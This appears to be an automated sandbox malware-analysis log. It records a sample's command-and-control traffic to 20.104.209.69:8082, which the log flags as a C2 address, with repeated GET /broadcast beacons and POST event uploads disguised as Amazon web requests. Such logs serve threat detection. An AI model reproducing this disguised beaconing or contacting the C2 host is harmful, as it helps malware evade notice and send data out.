Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49948

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 20.104.209.69

Source: Joe Sandbox View

ASN Name: MICROSOFT-CORP-MSN-AS-BLOCKUS MICROSOFT-CORP-MSN-AS-BLOCKUS

Source: Joe Sandbox View

IP Address: 20.104.209.69 20.104.209.69

Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1/events/com.amazon.csm.csa.prod HTTP/1.1Accept: /Origin: https://www.amazon.comx-amz-rid: MTQxMDk0MTc0OAUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Content-Length: 454Connection: Keep-AliveCache-Control: no-cacheData Raw: 7b 22 65 76 65 6e 74 73 22 3a 5b 7b 22 64 61 74 61 22 3a 7b 22 73 63 68 65 6d 61 49 64 22 3a 22 63 73 61 2e 56 69 64 65 6f 49 6e 74 65 72 61 63 74 69 6f 6e 73 2e 31 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 3a 22 52 65 74 61 69 6c 3a 50 72 6f 64 3a 2c 22 72 65 71 75 65 73 74 49 64 22 3a 22 4d 42 46 56 38 32 54 54 51 56 32 4a 4e 42 4b 4a 4a 35 30 42 22 2c 22 74 69 74 6c 65 22 3a 22 41 6d 61 7a 6f 6e 2e 63 6f 6d 2e 20 53 70 65 6e 64 20 6c 65 73 73 2e 20 53 6d 69 6c 65 20 6d 6f 72 65 2e 22 2c 22 73 75 62 50 61 67 65 54 79 70 65 22 3a 22 64 65 73 6b 74 6f 70 22 2c 22 73 65 73 73 69 6f 6e 22 3a 7b 22 69 64 22 3a 22 31 33 33 2d 39 39 30 35 30 35 35 2d 32 36 37 37 32 36 36 22 7d 2c 22 76 69 64 65 6f 22 3a 7b 22 69 64 22 3a 22 41 41 41 41 51 4b 58 76 6c 57 5f 61 77 64 62 65 4c 45 4e 43 6e 76 69 33 34 65 52 45 73 55 37 6c 77 4f 42 37 74 41 4c 51 48 37 58 6a 4c 69 4b 55 72 6d 6d 6b 70 52 74 75 30 56 70 71 70 6d 6b 63 32 57 54 57 77 75 6e 43 7a 68 4b 47 6e 5f 33 67 4b 75 71 38 50 7a 6a 6b 49 47 51 22 0a 22 70 6c 61 79 65 72 4d 6f 64 65 22 3a 22 49 4e 4c 49 4e 45 22 2c 22 76 69 64 65 6f 52 65 71 75 65 73 74 49 64 22 3a 22 4d 42 46 56 38 32 54 54 51 56 32 4a 4e 42 4b 4a 4a 35 30 42 22 2c 22 69 73 41 75 64 69 6f 4f 6e 22 3a 22 66 61 6c 73 65 22 2c 22 70 6c 61 79 65 72 22 3a 22 49 56 53 22 2c 22 65 76 65 6e 74 22 3a 22 4e 4f 4e 45 22 7d 7d 7d 7d 5d 7d Data Ascii: {"events":[{"data":{"schemaId":"csa.VideoInteractions.1","application":"Retail:Prod:,"requestId":"MBFV82TTQV2JNBKJJ50B","title":"Amazon.com. Spend less. Smile more.","subPageType":"desktop","session":{"id":"133-9905055-2677266"},"video":{"id":"AAAAQKXvlW_awdbeLENCnvi34eREsU7lwOB7tALQH7XjLiKUrmmkpRtu0Vpqpmkc2WTWwunCzhKGn_3gKuq8PzjkIGQ""playerMode":"INLINE","videoRequestId":"MBFV82TTQV2JNBKJJ50B","isAudioOn":"false","player":"IVS","event":"NONE"}}}}]}
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /1/events/com.amazon.csm.csa.prod HTTP/1.1Accept: /Origin: https://www.amazon.comx-amz-rid: MTQxMDk0MTc0OAUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Content-Length: 15691Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
